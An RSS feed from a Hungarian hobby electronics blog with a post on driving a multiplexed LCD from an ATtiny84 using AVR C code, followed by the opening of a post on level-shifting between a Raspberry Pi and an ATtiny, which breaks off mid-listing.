<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="/static/feed.xsl?v=630b5fee" type="text/xsl"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
    <channel>
        <title>deadlime</title>
        <description>Web, programozás, halott citrusfélék.</description>
        <lastBuildDate>Sat, 11 Jul 2026 09:56:42 +0000</lastBuildDate>
        <language>hu</language>
        <link>https://deadlime.hu/</link>
        
            <item>
            <title>A végső visszaszámlálás</title>
            <link>https://deadlime.hu/2026/07/06/a-vegso-visszaszamlalas/</link>
            <pubDate>Sun, 05 Jul 2026 22:19:46 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hardver]]></category>
                    <category><![CDATA[AVR]]></category>
                    
            <guid isPermaLink="false">f0bc7faed18a70d5872c7c06ba2ed3b1</guid>
            <description>LCD vezérlés ATtiny segítségével</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/attiny_lcd.jpg" width="660" height="450" alt="Ellenállások és egy LCD kijelző, ami a 02A számot mutatja" title="" loading="lazy" />
</p>

<p>Számos <a href="https://deadlime.hu/2026/06/22/a-nagy-megszamolas/">számlálós</a> <a href="https://deadlime.hu/2026/06/29/varatlan-ujraszamlalas/">szösszenetünk</a> után már csak egy elvarratlan szál maradt: mi történt a cuki kis LCD panelekkel?</p>
<p>Úgy másfél hónap bolyongás után végül ideértek. A lábaikat egyesével kellett kiegyenesítenem, mert az út igencsak megviselte őket, de azt leszámítva egészségesnek tűntek. Itt az ideje kezdeni velük valamit.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/lcd.jpg" width="660" height="450" alt="IC-kre hasonlító LCD kijelzők" title="" loading="lazy" />
</p>

<h3>Hogyan működik az LCD?</h3>
<p>Fogalmam sincs, szerintem varázslat. De a sok viszontagság után azt hiszem azt legalább el tudom mesélni, hogy hogyan lehet őket működtetni. Legalábbis ezt a konkrét panelt, nem tudom mennyire hasznosítható ez a tudás más LCD-kre.</p>
<p>A korábban használt LED-es kijelzőnek 3 COM és 7 szegmens lába volt (nyolc, ha a pontot is számoljuk, de azzal nem foglalkoztunk). Ennek az LCD-nek 4 COM lába és 6 szegmens lába van, amiből lehet sejteni, hogy a COM lábak nincsenek egy az egyben megfeleltetve a számjegyekkel. Szerencsére van egy táblázat, ami megmondja nekünk a kettő közötti kapcsolatot.</p>
<table>
  <thead>
    <tr>
      <th>COM / Pin</th>
      <th>1</th>
      <th>2</th>
      <th>3</th>
      <th>4</th>
      <th>5</th>
      <th>6</th>
      <th>7</th>
      <th>8</th>
      <th>9</th>
      <th>10</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th>COM1</th>
      <td></td>
      <td>3D</td>
      <td></td>
      <td>2D</td>
      <td></td>
      <td>1D</td>
      <td></td>
      <td></td>
      <td></td>
      <td>COM1</td>
    </tr>
    <tr>
      <th>COM2</th>
      <td>3C</td>
      <td>3E</td>
      <td>2C</td>
      <td>2E</td>
      <td>1C</td>
      <td>1E</td>
      <td></td>
      <td></td>
      <td>COM2</td>
      <td></td>
    </tr>
    <tr>
      <th>COM3</th>
      <td>3B</td>
      <td>3G</td>
      <td>2B</td>
      <td>2G</td>
      <td>1B</td>
      <td>1G</td>
      <td></td>
      <td>COM3</td>
      <td></td>
      <td></td>
    </tr>
    <tr>
      <th>COM4</th>
      <td>3A</td>
      <td>3F</td>
      <td>2A</td>
      <td>2F</td>
      <td>1A</td>
      <td>1F</td>
      <td>COM4</td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
  </tbody>
</table>
<p>Pont lett volna még hely a pontnak is. Az is látszik, hogy egy számjegyhez két pin tartozik. A számozás balról jobbra értelmezendő, az 1D szegmens a bal szélső számhoz tartozik, a 3D szegmens a jobb szélsőhöz. Biztos kellemes lesz majd ezt lekódolni, de mielőtt még oda jutnánk, más huncutságokat is tartogat nekünk ez a kijelző.</p>
<p>A LED kijelző esetén közös anódos és katódos fajta volt, ami eldöntötte, hogy a szegmens pin-t egyre a COM pin-t pedig nullára kell állítanunk vagy fordítva. Az LCD-nél ilyen nincsen, váltogatnunk kell ezt az irányt minden egyes alkalommal. És ez még nem minden. Az inaktív COM pin-eknek nem az aktív ellentétének kell lennie, hanem a feszültség felén kell tartani őket.</p>
<p>Nézzünk egy példát. Mondjuk a 3D szegmenst szeretnénk bekapcsolni, ami a <code>COM1</code> és a <code>2</code>-es pin-ek kereszteződésében van. A kijelzőnek <code class="red">3V</code>-ra van szüksége, úgyhogy a feszültség fele <code class="yellow">1.5V</code> lesz és van a földünk, ami <code>0V</code>.</p>
<ul>
<li><code>COM1</code> pin-t <code class="red">3V</code>-ra állítjuk.</li>
<li><code>COM2</code>-<code>4</code> pin-eket <code class="yellow">1.5V</code>-ra állítjuk.</li>
<li>A <code>2</code>-es pin-t <code>0V</code>-ra állítjuk.</li>
<li>A többi szegmens pin-t (<code>1</code>, <code>3</code>, <code>4</code>, <code>5</code>, <code>6</code>) <code class="red">3V</code>-ra állítjuk.</li>
<li>Várunk egy kicsit.</li>
<li><code>COM1</code> pin-t <code>0V</code>-ra állítjuk.</li>
<li><code>COM2</code>-<code>4</code> pin-ek maradnak <code class="yellow">1.5V</code>-on.</li>
<li>A <code>2</code>-es pin-t <code class="red">3V</code>-ra állítjuk.</li>
<li>A többi szegmens pin-t <code>0V</code>-ra állítjuk.</li>
<li>Várunk egy kicsit és kezdődik az egész elölről.</li>
</ul>
<p>Tetszőleges szám megjelenítéséhez ezt a huzavonát kell általánosítanunk:</p>
<table>
  <thead>
    <tr>
      <th>Lépés</th>
      <th>COM1</th>
      <th>COM2</th>
      <th>COM3</th>
      <th>COM4</th>
      <th>1</th>
      <th>2</th>
      <th>3</th>
      <th>4</th>
      <th>5</th>
      <th>6</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th>1.</th>
      <td class="red"><code>3V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td>-</td>
      <td><code>0V</code></td>
      <td>-</td>
      <td><code>0V</code></td>
      <td>-</td>
      <td class="red"><code>3V</code></td>
    </tr>
    <tr>
      <th>2.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
    </tr>
    <tr>
      <th>3.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
    </tr>
    <tr>
      <th>4.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
    </tr>
    <tr>
      <th>5.</th>
      <td><code>0V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td>-</td>
      <td class="red"><code>3V</code></td>
      <td>-</td>
      <td class="red"><code>3V</code></td>
      <td>-</td>
      <td><code>0V</code></td>
    </tr>
    <tr>
      <th>6.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td><code>0V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
    </tr>
    <tr>
      <th>7.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td><code>0V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
    </tr>
    <tr>
      <th>8.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
    </tr>
  </tbody>
</table>
<p>A COM pin-ek tánca fixen ismétlődik, a szegmens pineket pedig az aktuálisan megjelenítendő szám határozza meg. Ha nem rontottam el semmit, akkor ezt a nyolc lépést ismételgetve a kijelzőn az 123-as szám fog megjelenni. Szépen látszik, hogy az első négy lépés a második négy lépés inverze.</p>
<p>Már csak azt kell kitalálnunk, hogy honnan fogunk <code class="yellow">1.5V</code>-ot szerezni.</p>
<h3>Az ellenállás nem is hasztalan</h3>
<p>Két &quot;trükköt&quot; fogunk alkalmazni. Az egyik az az, hogy ha a <code>0V</code> és <code class="red">3V</code> közé sorba kötünk két ellenállást, akkor a két ellenállás között pont <code class="yellow">1.5V</code>-ot kapunk. Hogy pontosan mekkora ellenállásokat? Biztos ki lehetne számítani, én két darab 47 kΩ-ossal próbálkoztam és bevált.</p>
<p>A másik &quot;trükk&quot;, hogy hogyan fogunk tudni a három feszültségi szint között váltogatni. Most is egy <strong>ATtiny84</strong>-et fogunk használni, aminek három állapotú lábai vannak: alacsony, magas, magas impedancia (bemeneti mód). Ha a mikrokontroller lábát az LCD lábával a két feszültségosztó ellenálláson keresztül kötjük össze, akkor alacsony állapotban <code>0V</code>-ot fog kapni az LCD, magas állapotban <code class="red">3V</code>-ot, bemeneti állapotban pedig <code class="yellow">1.5V</code>-ot.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/lcd_wiring.jpg" width="660" height="615" alt="Kapcsolási rajz: ATtiny84 és LCD kijelző" title="" loading="lazy" />
</p>
<p class="image-caption">Az LCD-t egy tíz lábú IC helyettesíti</p>

<p>A vezetékezésnél az elsődleges cél az volt, hogy egyszerűbb legyen majd kódolni. Ezért is van szegény ATtiny fejjel lefelé, hogy az összes szegmens pin az A portra kerülhessen. A COM pin-ek pedig nagyrészt a B portra (a RESET miatt nincs ott elég hely), ami majd meg is látszik a kódon. Gombokkal most nem foglalkozunk, a program automatikusan fogja csökkenteni a számlálót bizonyos időközönként.</p>
<p>A fizikai összeszereléshez egy még kisebb próbapanelt használtam, amit aztán többször meg is bántam, nem volt rajta túl sok hely, de kinézetben jól passzol az LCD kijelzőhöz.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/lcd_breadboard.jpg" width="660" height="742" alt="A korábbi mikrokontrolleres számláló és az LCD számláló egymás alatt" title="" loading="lazy" />
</p>
<p class="image-caption">Összehasonlításként látható a képen a korábbi legkisebb LED-es változatunk is.</p>

<p>Sajnos a lábak távolsága végül nem bizonyult teljesen próbapanel-kompatibilisnek, de egy kis rábeszéléssel azért meg lehetett győzni, hogy belemenjen.</p>
<p>Rá is térhetünk a kódolásra. Előre szólok, vérlázító mennyiségű bitművelet következik, csak szülői felügyelet mellett ajánlott.</p>
<h3>Bitkolbászolás</h3>
<p>A felprogramozás <a href="https://deadlime.hu/2026/06/29/varatlan-ujraszamlalas/#feltoltes">maradt a régi</a>, csak a szegmenseket kell valamilyen más módon működésre bírnunk. Először is egy kis összefoglaló, hogy hogyan is vannak a dolgaink összekötve:</p>
<table>
  <thead>
    <tr>
      <th>LCD pin</th>
      <th>ATtiny pin</th>
      <th>Számjegy</th>
      <th>COM1</th>
      <th>COM2</th>
      <th>COM3</th>
      <th>COM4</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>6</td>
      <td>PA0</td>
      <td>1</td>
      <td>D</td>
      <td>E</td>
      <td>G</td>
      <td>F</td>
    </tr>
    <tr>
      <td>5</td>
      <td>PA1</td>
      <td>1</td>
      <td>-</td>
      <td>C</td>
      <td>B</td>
      <td>A</td>
    </tr>
    <tr>
      <td>4</td>
      <td>PA2</td>
      <td>2</td>
      <td>D</td>
      <td>E</td>
      <td>G</td>
      <td>F</td>
    </tr>
    <tr>
      <td>3</td>
      <td>PA3</td>
      <td>2</td>
      <td>-</td>
      <td>C</td>
      <td>B</td>
      <td>A</td>
    </tr>
    <tr>
      <td>2</td>
      <td>PA4</td>
      <td>3</td>
      <td>D</td>
      <td>E</td>
      <td>G</td>
      <td>F</td>
    </tr>
    <tr>
      <td>1</td>
      <td>PA5</td>
      <td>3</td>
      <td>-</td>
      <td>C</td>
      <td>B</td>
      <td>A</td>
    </tr>
  </tbody>
</table>
<p>A számjegyek ugyanazt a mintát követik, de egy számjegy szegmensei több COM-ra vannak szétdarabolva. Egy COM-on két bitnyi szegmens adat van egy számjegyhez, az négy COM-mal pont nyolc bit, úgyhogy tárolhatjuk a szegmens adatokat mondjuk így:</p>
<pre class="ascii"><code>    | COM4  | COM3  | COM2  | COM1  |
    |-------|-------|-------|-------|
    | F | A | G | B | E | C | D | _ |
|---|---|---|---|---|---|---|---|---|
| 7 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 |
|---|---|---|---|---|---|---|---|---|
| 8 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 |
|---|---|---|---|---|---|---|---|---|
</code></pre>
<p>Az <code>_</code> helyére bármit írhatnánk, én nullával mentem. Az összes számunkra így néznek ki ezek az értékek:</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> F_CPU 1000000UL</span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;avr/interrupt.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;avr/io.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;util/delay.h&gt;</span></span>

<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> segments[<span class="hljs-number">16</span>] = {
    <span class="hljs-number">0b11011110</span>,
    <span class="hljs-number">0b00010100</span>,
    <span class="hljs-number">0b01111010</span>,
    <span class="hljs-number">0b01110110</span>,
    <span class="hljs-number">0b10110100</span>,
    <span class="hljs-number">0b11100110</span>,
    <span class="hljs-number">0b11101110</span>,
    <span class="hljs-number">0b01010100</span>,
    <span class="hljs-number">0b11111110</span>,
    <span class="hljs-number">0b11110110</span>,
    <span class="hljs-number">0b11111100</span>,
    <span class="hljs-number">0b10101110</span>,
    <span class="hljs-number">0b11001010</span>,
    <span class="hljs-number">0b00111110</span>,
    <span class="hljs-number">0b11101010</span>,
    <span class="hljs-number">0b11101000</span>,
};
</code></pre>
<p>Ezen kívül kelleni fog még néhány segédváltozó:</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> com_pins[<span class="hljs-number">4</span>] = { PA7, PB2, PB1, PB0 };
<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> seg_pins[<span class="hljs-number">6</span>] = { PA5, PA4, PA3, PA2, PA1, PA0 };

<span class="hljs-keyword">uint8_t</span> com_idx = <span class="hljs-number">0</span>;
<span class="hljs-keyword">uint8_t</span> direction = <span class="hljs-number">0</span>;

<span class="hljs-keyword">int16_t</span> count = <span class="hljs-number">0xFFF</span>;
</code></pre>
<p>A <code>com_idx</code> lesz az, hogy éppen hányadik COM az aktív, a <code>direction</code> dönti el, hogy nulla vagy egy lesz éppen az értéke, a <code>count</code> a szám, ahol éppen tartunk. Jöhet is a <code>main</code> függvény:</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span> </span>{
  DDRA = <span class="hljs-number">0b11111111</span>;
  DDRB = <span class="hljs-number">0b0111</span>;

  PORTA = <span class="hljs-number">0</span>;
  PORTB = <span class="hljs-number">0</span>;

  TCCR1A = <span class="hljs-number">0</span>;
  TCCR1B |= _BV(CS12) | _BV(WGM12);
  OCR1A = <span class="hljs-number">15</span>;
  TIMSK1 |= _BV(OCIE1A);

  sei();

  <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>) {
    _delay_ms(<span class="hljs-number">1000</span>);
    cli();
    <span class="hljs-keyword">if</span> (--count &lt; <span class="hljs-number">0</span>) {
      count = <span class="hljs-number">0xFFF</span>;
    }
    sei();
  }
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Nagyon hasonló <a href="https://deadlime.hu/2026/06/29/varatlan-ujraszamlalas/#ujraszamlalas">az előzőhöz</a>, az egyetlen különbség, hogy lassabbra vettük az időzítőt és másodpercenként csökkentjük a megjelenítendő számunkat. Ha csak a <code>CS12</code> aktív, akkor a rendszer órajel 256-od részét kapja csak meg az időzítő, amivel 16-ig számolunk, tehát a megszakítás függvényünk kb. 240-szer hívódik meg másodpercenként. Ez a négy COM miatt még négy részre oszlik, tehát körülbelül a 60 Hz-es frissítést fogjuk hozni.</p>
<p>Nézzük is meg a megszakítás függvényünket:</p>
<pre><code class="hljs arduino">ISR(TIM1_COMPA_vect) {
  <span class="hljs-keyword">if</span> (direction) {
    PORTA |= _BV(seg_pins[<span class="hljs-number">0</span>]) | _BV(seg_pins[<span class="hljs-number">1</span>]) | _BV(seg_pins[<span class="hljs-number">2</span>]) | _BV(seg_pins[<span class="hljs-number">3</span>]) | _BV(seg_pins[<span class="hljs-number">4</span>]) | _BV(seg_pins[<span class="hljs-number">5</span>]);
  } <span class="hljs-keyword">else</span> {
    PORTA &amp;= ~(_BV(seg_pins[<span class="hljs-number">0</span>]) | _BV(seg_pins[<span class="hljs-number">1</span>]) | _BV(seg_pins[<span class="hljs-number">2</span>]) | _BV(seg_pins[<span class="hljs-number">3</span>]) | _BV(seg_pins[<span class="hljs-number">4</span>]) | _BV(seg_pins[<span class="hljs-number">5</span>]));
  }

  <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>Először is a szegmens pin-jeinket az iránynak megfelelő kikapcsolt állapotba helyezzük.</p>
<pre><code class="hljs arduino">PORTA &amp;= ~_BV(com_pins[<span class="hljs-number">0</span>]);
DDRA &amp;= ~_BV(com_pins[<span class="hljs-number">0</span>]);
PORTB &amp;= ~(_BV(com_pins[<span class="hljs-number">1</span>]) | _BV(com_pins[<span class="hljs-number">2</span>]) | _BV(com_pins[<span class="hljs-number">3</span>]));
DDRB &amp;= ~(_BV(com_pins[<span class="hljs-number">1</span>]) | _BV(com_pins[<span class="hljs-number">2</span>]) | _BV(com_pins[<span class="hljs-number">3</span>]));
</code></pre>
<p>Felhúzó ellenállás nélküli bemenetre állítjuk az összes COM pin-t (magas impedancia állapot).</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">if</span> (com_idx == <span class="hljs-number">0</span>) {
  DDRA |= _BV(com_pins[com_idx]);
  <span class="hljs-keyword">if</span> (direction) {
    PORTA |= _BV(com_pins[com_idx]);
  } <span class="hljs-keyword">else</span> {
    PORTA &amp;= ~_BV(com_pins[com_idx]);
  }
} <span class="hljs-keyword">else</span> {
  DDRB |= _BV(com_pins[com_idx]);
  <span class="hljs-keyword">if</span> (direction) {
    PORTB |= _BV(com_pins[com_idx]);
  } <span class="hljs-keyword">else</span> {
    PORTB &amp;= ~_BV(com_pins[com_idx]);
  }
}
</code></pre>
<p>A <code>com_idx</code> által jelölt COM pin-t átkapcsoljuk kimeneti üzemmódba és az iránynak megfelelő jelet küldjük ki rajta. Itt van egy kis huncutság, hogy az egyik pin-ünk az az A porton van, így azt külön kell kezelnünk a többitől.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">uint8_t</span> seg_value1 = segments[(count &gt;&gt; <span class="hljs-number">8</span>) &amp; <span class="hljs-number">0b1111</span>];
<span class="hljs-keyword">uint8_t</span> seg_value2 = segments[(count &gt;&gt; <span class="hljs-number">4</span>) &amp; <span class="hljs-number">0b1111</span>];
<span class="hljs-keyword">uint8_t</span> seg_value3 = segments[count &amp; <span class="hljs-number">0b1111</span>];

<span class="hljs-keyword">uint8_t</span> dig1 = (seg_value1 &gt;&gt; (com_idx * <span class="hljs-number">2</span>)) &amp; <span class="hljs-number">0b11</span>;
<span class="hljs-keyword">uint8_t</span> dig2 = (seg_value2 &gt;&gt; (com_idx * <span class="hljs-number">2</span>)) &amp; <span class="hljs-number">0b11</span>;
<span class="hljs-keyword">uint8_t</span> dig3 = (seg_value3 &gt;&gt; (com_idx * <span class="hljs-number">2</span>)) &amp; <span class="hljs-number">0b11</span>;

<span class="hljs-keyword">uint8_t</span> data = (dig1 &lt;&lt; <span class="hljs-number">4</span>) | (dig2 &lt;&lt; <span class="hljs-number">2</span>) | dig3;
</code></pre>
<p>Kiszámoljuk a szegmens pin-ek állapotát, ami első ránézésre egy kicsit vadnak tűnhet, de nézzünk meg egy példát, hogy mit is csinál pontosan. Tegyük fel, hogy a <code>count</code> értéke <code>0x123</code>, ami binárisan <code>0b000100100011</code>.</p>
<p>A <code>count &gt;&gt; 8</code> az <code>0b0001</code>, amit ha bináris és-elünk <code>0b1111</code>-gyel, akkor továbbra is <code>0b0001</code> marad, ami az egyes szám.</p>
<p>A <code>count &gt;&gt; 4</code> az <code>0b00010010</code>, bináris és-elve <code>0b1111</code>-gyel <code>0b0010</code>, ami a kettes szám.</p>
<p>A <code>count</code> (<code>0b000100100011</code>) bináris és-elve <code>0b1111</code>-gyel pedig <code>0b0011</code>, ami a hármas szám.</p>
<p>Tehát a fenti <code>segments</code> tömbből kiszedjük az első, második és harmadik elemet:</p>
<ul>
<li><code>0b<span class="purple">00</span><span class="orange">01</span><span class="blue">01</span><span class="green">00</span></code></li>
<li><code>0b<span class="purple">01</span><span class="orange">11</span><span class="blue">10</span><span class="green">10</span></code></li>
<li><code>0b<span class="purple">01</span><span class="orange">11</span><span class="blue">01</span><span class="green">10</span></code></li>
</ul>
<p>A számokat ezután eltoljuk jobbra 0-val, 2-vel, 4-gyel vagy 6-tal, attól függően, hogy a <code>com_idx</code> éppen melyik COM-nál jár és bináris és-eljük őket <code>0b11</code>-gyel. Az eredmény COM1 esetén a <span class="green"><strong>zöld</strong></span> számok, COM2 esetén a <span class="blue"><strong>kék</strong></span> számok, COM3 esetén a <span class="orange"><strong>narancssárga</strong></span> számok és COM4 esetén a <span class="purple"><strong>lila</strong></span> számok lesznek.</p>
<p>Ezek után még egy balra eltolás és bináris vagy-olás és végül COM1 esetén megkapjuk a <code class="green">0b001010</code> értéket, COM2 esetén a <code class="blue">0b011001</code> értéket, COM3 esetén a <code class="orange">0b011111</code> értéket és COM4 esetén a <code class="purple">0b000101</code> értéket. Pont azokat a biteket, amiket az adott COM esetén a szegmenseknek be kell állítanunk.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint8_t</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">6</span>; ++i) {
  <span class="hljs-keyword">if</span> (direction ^ ((data &gt;&gt; i) &amp; <span class="hljs-number">1</span>)) {
    PORTA |= _BV(seg_pins[i]);
  } <span class="hljs-keyword">else</span> {
    PORTA &amp;= ~_BV(seg_pins[i]);
  }
}
</code></pre>
<p>Merő véletlenségből a <code>seg_pins</code> tömbben pont olyan sorrendben vannak a pin-ek, ahogy az adatban, amit összeépítettünk, úgyhogy kivesszük a megfelelő bitet az adatból és beállítjuk az értéket az iránytól függően.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">if</span> (++com_idx &gt; <span class="hljs-number">3</span>) {
  com_idx = <span class="hljs-number">0</span>;
  direction = !direction;
}
</code></pre>
<p>Végül átvándorolunk a következő COM-ra és ha a COM-ok végére értünk, akkor kezdjük elölről az egészet a másik irányból.</p>
<h3>0x000</h3>
<p>Itt van hát a vég, kifogytunk a számokból.</p>
<p>Kihoztunk mindent, amit a számlálókból csak lehetett, sőt, még többet is. Nem maradt több elvarratlan szál... csak az az egy bizonyos projekt, aminek a halogatása elindította ezt az egészet.</p>
<p>Egyszer talán majd oda is eljutunk.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Váratlan újraszámlálás</title>
            <link>https://deadlime.hu/2026/06/29/varatlan-ujraszamlalas/</link>
            <pubDate>Sun, 28 Jun 2026 22:18:02 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hardver]]></category>
                    <category><![CDATA[AVR]]></category>
                    <category><![CDATA[Arduino]]></category>
                    <category><![CDATA[Raspberry Pi]]></category>
                    
            <guid isPermaLink="false">eee425b48b49b3e70e6b74e6c6c0c814</guid>
            <description>ATtiny programozás Arduino IDE nélkül</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/attiny_rpi.jpg" width="660" height="450" alt="Egy ATtiny84 és egy Raspberry Pi beszélget szint léptetőkön keresztül" title="" loading="lazy" />
</p>

<p>Az <a href="https://deadlime.hu/2026/06/22/a-nagy-megszamolas/">előző bejegyzésben</a> egy fél mondatban megemlékeztem arról, hogy nem sikerült Raspberry Pi segítségével kódot juttatni az ATtiny-re. Azon a ponton a projekt befejezése volt fókuszban, úgyhogy az első működő megoldással mentem, de a probléma azóta sem hagyott nyugodni, úgyhogy következzék a második felvonás.</p>
<p>A terv az, hogy működésre bírjuk a Raspberry Pi és az ATtiny közötti kapcsolatot egy új hardver segítségével, majd egy kicsit közelebbről is megismerkedünk az ATtiny belső világával.</p>
<h3>Szintlépés</h3>
<p>Valahol olvastam arról, hogy okozhat az problémát, hogy a Pi 3.3V-os GPIO pin-jei kevesek az ATtiny-nek, aki jobban szereti az 5V-ot. Ennek megoldására rendeltem egy pár <strong>CD4504</strong> fantázianevű IC-t:</p>
<pre class="ascii"><code>      ┌───┬──┬───┐
  VCC ┤ • └──┘   ├ VDD
A OUT ┤          ├ F OUT
 A IN ┤          ├ F IN
B OUT ┤          ├ SELECT
 B IN ┤  CD4504  ├ E OUT
C OUT ┤          ├ E IN
 C IN ┤          ├ D OUT
  VSS ┤          ├ D IN
      └──────────┘
</code></pre>
<p>Lehet, hogy nem a tökéletes választás erre a célra, de később még jó lehet más projekthez is. A chip lényege, hogy a <code>VCC</code>-n kapott feszültséget cseréli le a <code>VDD</code>-n kapottra. Például <code>VCC</code>-n jön a 3.3V, <code>VDD</code>-n az 5V, akkor az <code>A IN</code>-en érkező 3.3V-os jelet az <code>A OUT</code>-on 5V-osként fogjuk megkapni.</p>
<p>A <code>SELECT</code>-tel lehetne TTL és CMOS jelek között váltani, de amennyire értek hozzá nekünk mind a két eszközünk CMOS, úgyhogy a <code>SELECT</code>-et alacsonyra állítjuk.</p>
<p>A mai játszadozásunkhoz most egy <strong>ATtiny84</strong>-et fogunk használni, az <strong>ATtiny24</strong> még mindig a számlálós próbapanelen van. Pin-ek tekintetében ugyanolyan a kettő, csak a 84-esben egy kicsivel több memória van:</p>
<pre class="ascii"><code>             ┌───┬──┬───┐
         VDD ┤ • └──┘   ├ VSS
         PB0 ┤          ├ PA0
         PB1 ┤          ├ PA1
PB3 (RESET') ┤ ATtiny84 ├ PA2
         PB2 ┤          ├ PA3
         PA7 ┤          ├ PA4 (SCLK)
  PA6 (MOSI) ┤          ├ PA5 (MISO)
             └──────────┘
</code></pre>
<p>A két irányú kommunikációnk a következőképpen néz ki:</p>
<ul>
<li>a Pi-től az ATtiny felé (<code>RESET</code>, <code>SCLK</code>, <code>MOSI</code>)</li>
<li>az ATtiny felől a Pi felé (<code>MISO</code>)</li>
</ul>
<p>Emiatt két darab <strong>CD4504</strong>-et használunk, az egyik a 3.3V-&gt;5V, a másik az 5V-&gt;3.3V irányba konvertál.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/CD4504.jpg" width="660" height="430" alt="Kapcsolási rajz: ATtiny84 és a két CD4504 szint léptető" title="" loading="lazy" />
</p>

<p>Hogy legyen valami kis átláthatóság a vezetékdzsungelben, a csíkos vezetékek 5V-osak, az egyszínűek pedig 3.3V-osak. A próbapanel felső része a 3.3V, az alsó része pedig az 5V. A Pi felől érkező jelek (<code>RESET</code>, <code>SCLK</code>, <code>MOSI</code>) a 3.3V-&gt;5V irányú <strong>CD4504</strong>-en mennek át, a Pi felé menő jel (<code>MISO</code>) az 5V-&gt;3.3V irányú <strong>CD4504</strong>-en megy át.</p>
<p><a name="feltoltes"></a></p>
<h3>Feltöltés</h3>
<p>Vegyünk egy egyszerű programot, mondjuk a klasszikus LED villogtatás. A <code>PA7</code> pin-re rádugott LED-et egy másodpercig bekapcsolt, majd egy másodpercig kikapcsolt állapotban tartjuk.</p>
<pre class="file"><code>blink.c
</code></pre>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> F_CPU 1000000UL</span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;avr/io.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;util/delay.h&gt;</span></span>

